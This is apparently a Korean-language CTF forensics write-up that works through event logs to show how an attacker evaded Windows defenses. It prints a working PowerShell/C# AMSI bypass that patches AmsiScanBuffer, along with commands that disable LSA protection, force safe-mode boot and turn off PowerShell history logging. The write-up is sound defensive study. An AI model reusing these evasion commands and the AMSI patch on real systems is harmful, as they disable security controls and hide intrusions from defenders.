Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

[Forensics] Smoke & Mirrors - Global Cyber Skills Benchmark CTF 2025 본문

CTF

[Forensics] Smoke & Mirrors - Global Cyber Skills Benchmark CTF 2025

{{HW}} 2025. 5. 27. 23:44

 

개요

바이트 닥터 레이예스는 예상했던 여러 보안 로그와 Windows Defender 경고가 누락된 것으로 보이는 은밀한 침해 후 공격을 조사하고 있습니다. 그는 공격자가 방어 회피 기법을 사용하여 보안 제어를 비활성화하거나 조작하여 탐지 활동을 상당히 복잡하게 만들었다고 의심합니다. 내보낸 이벤트 로그를 활용하여 공격자가 어떻게 시스템 방어 시스템을 손상시켜 탐지되지 않도록 했는지 파악하는 것이 목표입니다.

 

 

1. 공격자는 레지스트리 키를 수정하여 손상된 호스트에서 LSA 보호를 비활성화했습니다. 해당 레지스트리 키의 전체 경로는 무엇입니까?

Microsoft-Windows-Sysmon 원본에서 이벤트 ID 1에 대한 설명을 찾을 수 없습니다. 이 이벤트를 발생시킨 구성 요소가 로컬 컴퓨터에 설치되어 있지 않거나 설치가 손상되었습니다. 로컬 컴퓨터에서 구성 요소를 설치 또는 복구할 수 있습니다.

이벤트가 다른 컴퓨터에서 시작된 경우 표시 정보를 이벤트와 함께 저장해야 합니다.

다음 정보가 이벤트와 함께 포함되었습니다.

-
2025-04-10 06:28:47.462
EV_RenderedValue_2.00
5012
C:\Windows\SysWOW64\reg.exe
10.0.26100.1882 (WinBuild.160101.0800)
Registry Console Tool
Microsoft® Windows® Operating System
Microsoft Corporation
reg.exe
"C:\WINDOWS\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
C:\Users\User\
DESKTOP-M3AKJSD\User
EV_RenderedValue_13.00
1201938
1
Medium
MD5=5463489622EB68D6407C5760360E4C15,SHA256=291234BEB09EA8C1A8CAFD6F92EA14ADAF0DFFDCDADAFE823ECFB7C96E39DC53,IMPHASH=84150390DAEDD6936B30827BE712548C
EV_RenderedValue_18.00
6288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" 
DESKTOP-M3AKJSD\User

메시지 리소스가 있지만 메시지 테이블에서 메시지를 찾을 수 없습니다
"C:\WINDOWS\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
-> 이 명령은 Windows 레지스트리에서 LSA(로컬 보안 권한 하위시스템 서비스, Local Security Authority)의 보호 기능(Protected Process Light, PPL)을 비활성화하는 설정을 변경합니다.

RunAsPPL 값이 DWORD 0x00000000 으로 설정되어 있는데, 이 값이 0이면 LSA 보호가 비활성화된 상태입니다. (기본적으로는 1로 설정되어 LSA 보호가 활성화됨)


# flag
HKLM\SYSTEM\CurrentControlSet\Control\LSA

 

 

 

2. Windows Defender를 제어하는 PowerShell cmdlet은 무엇입니까?

Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-MpPreference' -Alias '*'

Set-MpPreference -> Defender 환경설정 변경


# flag
Set-MpPreference

 

 

3. 공격자는 PowerShell로 작성된 AMSI 패치를 로드했습니다. 스크립트는 AMSI를 비활성화하기 위해 amsi.dll의 어떤 함수를 패치하고 있습니까? 힌트: 문제의 스크립트는 'kernel32.dll'을 가져옵니다.

명령줄의 파이프라인 실행 세부 정보:     Add-Type -TypeDefinition $k
. 

컨텍스트 정보: 
	DetailSequence=1
	DetailTotal=1

	SequenceNumber=213

	UserId=DESKTOP-M3AKJSD\User
	HostName=ConsoleHost
	HostVersion=5.1.26100.3624
	HostId=06070939-645a-4cb4-bb35-feff3e76ad09
	HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	EngineVersion=5.1.26100.3624
	RunspaceId=62516b95-d457-41c9-aa13-31b963bcf8bb
	PipelineId=55
	ScriptName=
	CommandLine=    Add-Type -TypeDefinition $k
 

세부 정보: 
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using System;
using System.Runtime.InteropServices;
public class P {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    public static bool Patch() {
        IntPtr h = GetModuleHandle("a" + "m" + "s" + "i" + ".dll");
        if (h == IntPtr.Zero) return false;
        IntPtr a = GetProcAddress(h, "A" + "m" + "s" + "i" + "S" + "c" + "a" + "n" + "B" + "u" + "f" + "f" + "e" + "r");
        if (a == IntPtr.Zero) return false;
        UInt32 oldProtect;
        if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false;
        byte[] patch = { 0x31, 0xC0, 0xC3 };
        Marshal.Copy(patch, 0, a, patch.Length);
        return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect);
    }
}"
# C# 코드 내용
kernel32.dll에서 다음 함수들을 가져옴:
GetModuleHandle (모듈 핸들 얻기)
GetProcAddress (함수 주소 얻기)
VirtualProtect (메모리 보호 속성 변경)


IntPtr h = GetModuleHandle("a" + "m" + "s" + "i" + ".dll");
-> amsi.dll 접근

IntPtr a = GetProcAddress(h, "A" + "m" + "s" + "i" + "S" + "c" + "a" + "n" + "B" + "u" + "f" + "f" + "e" + "r");
-> AmsiScanBuffer 함수 주소로 얻으려 함.
-> 공격자가 AMSI를 우회하기 위해 amsi.dll의 AmsiScanBuffer 함수를 패치했습니다.

# flag
AmsiScanBuffer

 

 

 

4. 공격자는 안전 모드(인수 있음, ".exe" 제외)로 컴퓨터를 다시 시작하는 데 어떤 명령을 사용했습니까?

# flag
bcdedit /set safeboot network

 

 

5. 공격자는 PowerShell 명령 기록 로깅을 비활성화하기 위해 어떤 PowerShell 명령을 사용했습니까?

PowerShell의 PSReadline 모듈에서 명령어 기록 저장 방식을 아예 안 하도록 설정
기본값은 SaveIncrementally (명령어가 실행될 때마다 기록)
SaveNothing으로 하면 기록을 저장하지 않음

# flag
Set-PSReadlineOption -HistorySaveStyle SaveNothing